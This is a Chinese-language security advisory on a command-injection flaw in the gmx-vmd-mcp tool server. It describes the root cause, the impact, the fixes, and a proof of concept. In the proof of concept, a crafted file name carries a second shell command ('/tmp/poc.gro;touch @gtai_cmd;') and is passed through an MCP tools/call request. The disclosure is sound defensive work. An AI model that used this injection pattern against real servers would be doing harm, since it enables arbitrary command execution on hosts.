# gmx-vmd-mcp VMD Launch Command Injection via File Path Vulnerability Report ## 漏洞概述 - **漏洞类型**:CNA / Submission Type - **漏洞描述**:MCP工具(gmx-vmd-mcp)接受用户控制的`structure_file`和`trajectory_file`路径,将其转换为绝对路径并拼接到shell命令字符串中,通过`os.system()`执行。攻击者可通过构造包含shell元字符的文件名,突破VMD启动命令的限制,实现任意主机命令执行。 - **技术根因**: 1. 工具直接暴露文件系统路径参数。 2. 代码仅检查文件是否存在,未对路径内容进行过滤或转义。 3. macOS和非macOS分支均从路径构建shell字符串。 4. 两个分支均通过`os.system(cmd)`执行该字符串。 ## 影响范围 - **受影响版本**:0.1.0 - **受影响组件**:`mcp_server.py` - **CVSS v3.1评分**:10.0 (Critical) - **安全影响**: - 机密性:高(可读取主机文件和项目数据) - 完整性:高(可修改主机状态) - 可用性:高(可破坏服务工作流) - 作用域:变更 ## 修复方案 - **推荐修复**: 1. 将VMD调用作为参数数组执行,避免使用shell。 2. 在调用VMD前规范化并验证两个文件路径。 3. 添加回归测试,使用包含特殊字符(如 `;`, `&`, `$()`, 反引号, 空格)的文件名。 4. 复用仓库中已有的更安全非shell辅助函数,而非维护单独的shell启动路径。 - **临时缓解措施**: 1. 不要使用`os.system()`启动VMD。 2. 在调用者提供的文件路径中拒绝shell元字符。 3. 限制服务对本地操作员的信任。 4. 优先使用更安全的`subprocess.run([...], shell=False)`或`create_subprocess_exec`风格。 ## POC代码 ```python # 1. 准备文件 touch '/tmp/legit.xtc' touch '/tmp/poc.gro;touch @gtai_cmd;' # 2. 调用MCP工具 { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "启动VMD图形界面", "arguments": { "structure_file": "/tmp/poc.gro;touch @gtai_cmd;", "trajectory_file": "/tmp/legit.xtc" } } } # 3. 触发原因 # os.path.exists() 成功,因为构造的文件名确实存在。 # 生成的shell命令实际上是: vmd /tmp/poc.gro;touch @gtai_cmd; /tmp/legit.xtc & # 4. 预期结果 # 一个名为 @gtai_cmd 的文件在服务器当前工作目录中创建,证明任意命令执行。 ```